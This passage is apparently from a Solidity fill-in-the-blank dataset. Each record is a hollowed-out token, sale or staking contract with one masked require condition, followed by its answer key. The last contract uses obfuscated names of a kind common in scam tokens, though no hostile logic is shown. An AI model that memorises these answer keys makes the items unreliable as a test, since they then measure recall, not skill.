constructor(string memory _name, RedeemableToken _token) {
}
function buyTokenWithEth(
uint32 _campaignId,
uint256 _amount,
bytes32[] memory _proof
) public payable nonReentrant {
}
function buyToken(
uint32 _campaignId,
IERC20 _paymentToken,
uint256 _amount,
bytes32[] memory _proof
) public nonReentrant {
}
function updateMerkleRoot(uint32 _campaignId, bytes32 _merkleRoot)
public
onlyOwner
{
}
function updatePaymentTokens(
uint32 _campaignId,
IERC20[] memory _paymentTokens
) public onlyOwner {
}
function addTrack(
uint256 tokenId,
uint256 price,
uint256 ethPrice,
uint256 maxTokens,
uint256 maxTokensPerUser,
IERC20[] memory paymentTokens,
bytes32 merkleRoot,
uint32 startTime,
uint32 endTime
) public {
}
function verify(
address _account,
bytes32 _merkleRoot,
bytes32[] memory _proof
) public pure returns (bool) {
}
function isSupportedPaymentToken(uint32 _campaignId, IERC20 _paymentToken)
public
view
returns (bool)
{
}
function _validateBuyToken(uint32 _campaignId, uint256 _amount)
private
returns (bool)
{
}
function _mintTokenWithEth(
uint256 _amount,
uint256 _campaignId,
address _account
) private {
}
function _mintToken(
IERC20 _paymentToken,
uint256 _amount,
uint256 _campaignId,
address _account
) private {
CampaignTrack memory campaign = campaigns[_campaignId];
require(<FILL_ME>)
token.mint(_account, campaign.tokenId, _amount);
}
function withdraw(IERC20 _token) public onlyOwner {
}
function withdrawEth() public onlyOwner {
}
}
| _paymentToken.transferFrom(msg.sender,address(this),campaign.price*_amount),'Transfer failed, check allowance' | 436,916 | _paymentToken.transferFrom(msg.sender,address(this),campaign.price*_amount) |
"Cannot set maxBuy lower than 0.25%" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract MoonBag is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
IDexRouter public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool public swapping;
uint256 public swapTokensAtAmount;
address public marketingAddress;
bool public tradingActive = false;
bool public swapEnabled = false;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyBurnFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellBurnFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
/******************/
//exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedMarketingAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() ERC20("MoonBag", "$MOONBAG") {
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
require(<FILL_ME>)
maxBuyAmount = newNum * (10**18);
emit UpdatedMaxBuyAmount(maxBuyAmount);
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
}
function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateFees(uint256 _buyMarketingFee, uint256 _buyLiquidityFee, uint256 _buyBurnFee, uint256 _sellMarketingFee, uint256 _sellLiquidityFee, uint256 _sellBurnFee) external onlyOwner {
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
}
function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
}
| newNum>=(totalSupply()*25/10000)/1e18,"Cannot set maxBuy lower than 0.25%" | 436,931 | newNum>=(totalSupply()*25/10000)/1e18 |
"_transfer:: Max wallet exceeded" | /**
A bicycle can't stand on its own because it is too-tired.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract TooTiredBicycle is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private _liveBlock;
uint256 private _maxTransactionAmount;
uint256 private _maxWallet;
bool private _limitsInEffect = true;
mapping (address => bool) private _isExcludedMaxTransactionAmount;
mapping (address => bool) private _automatedMarketMakerPairs;
mapping(address => uint256) private _holderLastTransferBlock;
constructor() ERC20("Bicycle", "Too-Tired") payable {
}
/**
* @dev Once live, can never be switched off
*/
function startTrading(uint256 number) external onlyOwner() {
}
/**
* @dev Remove limits after token is somewhat stable
*/
function removeLimits() external onlyOwner() {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
// all to secure a smooth launch
if (_limitsInEffect) {
if (from != address(this) && to != address(this)) {
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferBlock[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferBlock[tx.origin] = block.number;
}
// on buy
if (_automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= _maxTransactionAmount, "_transfer:: Buy transfer amount exceeds the _maxTransactionAmount.");
require(<FILL_ME>)
}
// on sell
else if (_automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= _maxTransactionAmount, "_transfer:: Sell transfer amount exceeds the _maxTransactionAmount.");
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= _maxWallet, "_transfer:: Max wallet exceeded");
}
}
}
super._transfer(from, to, amount);
}
/**
* @dev In case any eth is stuck in the contract
*/
function withdrawContractETH() external {
}
receive() external payable {}
}
| amount+balanceOf(to)<=_maxWallet,"_transfer:: Max wallet exceeded" | 437,045 | amount+balanceOf(to)<=_maxWallet |
"Staking token already set" | /*
_ _______ ______ _____ _____ _______ _ _______ _ _ _____
/\ | | |__ __| ____|_ _| / ____|__ __|/\ | |/ /_ _| \ | |/ ____|
/ \ | | | | | |__ | | | (___ | | / \ | ' / | | | \| | | __
/ /\ \ | | | | | __| | | \___ \ | | / /\ \ | < | | | . ` | | |_ |
/ ____ \| |____| | | | _| |_ ____) | | |/ ____ \| . \ _| |_| |\ | |__| |
/_/ \_\______|_| |_| |_____| |_____/ |_/_/ \_\_|\_\_____|_| \_|\_____|
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract ReentrancyGuard {
bool private _entered;
modifier nonReentrant() {
}
}
contract StakingFarm is ReentrancyGuard {
address public owner;
IERC20 public stakingToken;
uint256 public totalRewards;
struct Stake {
uint256 amount;
uint256 startTime;
uint256 lockPeriod;
bool claimed;
}
mapping(address => Stake) public stakes;
mapping(uint256 => uint256) public rewardMultipliers;
modifier onlyOwner() {
}
event StakingTokenSet(address indexed stakingTokenAddress);
event Staked(address indexed user, uint256 amount, uint256 lockPeriod);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsAdded(uint256 amount);
constructor() {
}
function setStakingToken(address _stakingToken) external onlyOwner {
require(<FILL_ME>)
stakingToken = IERC20(_stakingToken);
emit StakingTokenSet(_stakingToken);
}
function addRewards(uint256 _amount) external onlyOwner {
}
function stake(uint256 _amount, uint256 _lockPeriod) external nonReentrant {
}
function withdraw() external nonReentrant {
}
function calculateReward(address _user) public view returns(uint256) {
}
}
| address(stakingToken)==address(0),"Staking token already set" | 437,071 | address(stakingToken)==address(0) |
"Staking token not set" | /*
_ _______ ______ _____ _____ _______ _ _______ _ _ _____
/\ | | |__ __| ____|_ _| / ____|__ __|/\ | |/ /_ _| \ | |/ ____|
/ \ | | | | | |__ | | | (___ | | / \ | ' / | | | \| | | __
/ /\ \ | | | | | __| | | \___ \ | | / /\ \ | < | | | . ` | | |_ |
/ ____ \| |____| | | | _| |_ ____) | | |/ ____ \| . \ _| |_| |\ | |__| |
/_/ \_\______|_| |_| |_____| |_____/ |_/_/ \_\_|\_\_____|_| \_|\_____|
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract ReentrancyGuard {
bool private _entered;
modifier nonReentrant() {
}
}
contract StakingFarm is ReentrancyGuard {
address public owner;
IERC20 public stakingToken;
uint256 public totalRewards;
struct Stake {
uint256 amount;
uint256 startTime;
uint256 lockPeriod;
bool claimed;
}
mapping(address => Stake) public stakes;
mapping(uint256 => uint256) public rewardMultipliers;
modifier onlyOwner() {
}
event StakingTokenSet(address indexed stakingTokenAddress);
event Staked(address indexed user, uint256 amount, uint256 lockPeriod);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsAdded(uint256 amount);
constructor() {
}
function setStakingToken(address _stakingToken) external onlyOwner {
}
function addRewards(uint256 _amount) external onlyOwner {
require(<FILL_ME>)
stakingToken.transferFrom(msg.sender, address(this), _amount);
totalRewards += _amount;
emit RewardsAdded(_amount);
}
function stake(uint256 _amount, uint256 _lockPeriod) external nonReentrant {
}
function withdraw() external nonReentrant {
}
function calculateReward(address _user) public view returns(uint256) {
}
}
| address(stakingToken)!=address(0),"Staking token not set" | 437,071 | address(stakingToken)!=address(0) |
"Invalid lock period" | /*
_ _______ ______ _____ _____ _______ _ _______ _ _ _____
/\ | | |__ __| ____|_ _| / ____|__ __|/\ | |/ /_ _| \ | |/ ____|
/ \ | | | | | |__ | | | (___ | | / \ | ' / | | | \| | | __
/ /\ \ | | | | | __| | | \___ \ | | / /\ \ | < | | | . ` | | |_ |
/ ____ \| |____| | | | _| |_ ____) | | |/ ____ \| . \ _| |_| |\ | |__| |
/_/ \_\______|_| |_| |_____| |_____/ |_/_/ \_\_|\_\_____|_| \_|\_____|
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract ReentrancyGuard {
bool private _entered;
modifier nonReentrant() {
}
}
contract StakingFarm is ReentrancyGuard {
address public owner;
IERC20 public stakingToken;
uint256 public totalRewards;
struct Stake {
uint256 amount;
uint256 startTime;
uint256 lockPeriod;
bool claimed;
}
mapping(address => Stake) public stakes;
mapping(uint256 => uint256) public rewardMultipliers;
modifier onlyOwner() {
}
event StakingTokenSet(address indexed stakingTokenAddress);
event Staked(address indexed user, uint256 amount, uint256 lockPeriod);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsAdded(uint256 amount);
constructor() {
}
function setStakingToken(address _stakingToken) external onlyOwner {
}
function addRewards(uint256 _amount) external onlyOwner {
}
function stake(uint256 _amount, uint256 _lockPeriod) external nonReentrant {
require(address(stakingToken) != address(0), "Staking token not set");
require(_amount > 0, "Cannot stake 0 tokens");
require(<FILL_ME>)
stakingToken.transferFrom(msg.sender, address(this), _amount);
stakes[msg.sender] = Stake({
amount: _amount,
startTime: block.timestamp,
lockPeriod: _lockPeriod,
claimed: false
});
emit Staked(msg.sender, _amount, _lockPeriod);
}
function withdraw() external nonReentrant {
}
function calculateReward(address _user) public view returns(uint256) {
}
}
| rewardMultipliers[_lockPeriod]>0,"Invalid lock period" | 437,071 | rewardMultipliers[_lockPeriod]>0 |
"Rewards already claimed" | /*
_ _______ ______ _____ _____ _______ _ _______ _ _ _____
/\ | | |__ __| ____|_ _| / ____|__ __|/\ | |/ /_ _| \ | |/ ____|
/ \ | | | | | |__ | | | (___ | | / \ | ' / | | | \| | | __
/ /\ \ | | | | | __| | | \___ \ | | / /\ \ | < | | | . ` | | |_ |
/ ____ \| |____| | | | _| |_ ____) | | |/ ____ \| . \ _| |_| |\ | |__| |
/_/ \_\______|_| |_| |_____| |_____/ |_/_/ \_\_|\_\_____|_| \_|\_____|
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract ReentrancyGuard {
bool private _entered;
modifier nonReentrant() {
}
}
contract StakingFarm is ReentrancyGuard {
address public owner;
IERC20 public stakingToken;
uint256 public totalRewards;
struct Stake {
uint256 amount;
uint256 startTime;
uint256 lockPeriod;
bool claimed;
}
mapping(address => Stake) public stakes;
mapping(uint256 => uint256) public rewardMultipliers;
modifier onlyOwner() {
}
event StakingTokenSet(address indexed stakingTokenAddress);
event Staked(address indexed user, uint256 amount, uint256 lockPeriod);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsAdded(uint256 amount);
constructor() {
}
function setStakingToken(address _stakingToken) external onlyOwner {
}
function addRewards(uint256 _amount) external onlyOwner {
}
function stake(uint256 _amount, uint256 _lockPeriod) external nonReentrant {
}
function withdraw() external nonReentrant {
require(address(stakingToken) != address(0), "Staking token not set");
Stake storage userStake = stakes[msg.sender];
require(userStake.amount > 0, "No staked amount to withdraw");
require(block.timestamp >= userStake.startTime + userStake.lockPeriod, "Stake is still locked");
require(<FILL_ME>)
uint256 reward = calculateReward(msg.sender);
require(totalRewards >= reward, "Not enough rewards");
userStake.claimed = true;
totalRewards -= reward;
stakingToken.transfer(msg.sender, userStake.amount + reward);
emit Withdrawn(msg.sender, userStake.amount);
emit RewardPaid(msg.sender, reward);
}
function calculateReward(address _user) public view returns(uint256) {
}
}
| !userStake.claimed,"Rewards already claimed" | 437,071 | !userStake.claimed |
"ERC20: trading is not yet enabled." | pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Pair {
event Sync(uint112 reserve0, uint112 reserve1);
function sync() external;
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private coreArr;
mapping (address => bool) private Origin;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _balances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public pair;
uint256 private Diamond = 0;
IDEXRouter router;
string private _name; string private _symbol; address private addr01u8j2nfkn2foufiqu9m; uint256 private _totalSupply;
bool private trading; uint256 private shiny; bool private Cars; uint256 private Cabs;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function decimals() public view virtual override returns (uint8) {
}
function symbol() public view virtual override returns (string memory) {
}
function last(uint256 g) internal view returns (address) { }
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function openTrading() external onlyOwner returns (bool) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
receive() external payable {
}
function _balancesOfTheLight(address sender, address recipient) internal {
require(<FILL_ME>)
_balancesOfTheDark(sender, recipient);
}
function _TheBeginning(address creator) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _balancesOfTheDark(address sender, address recipient) internal {
}
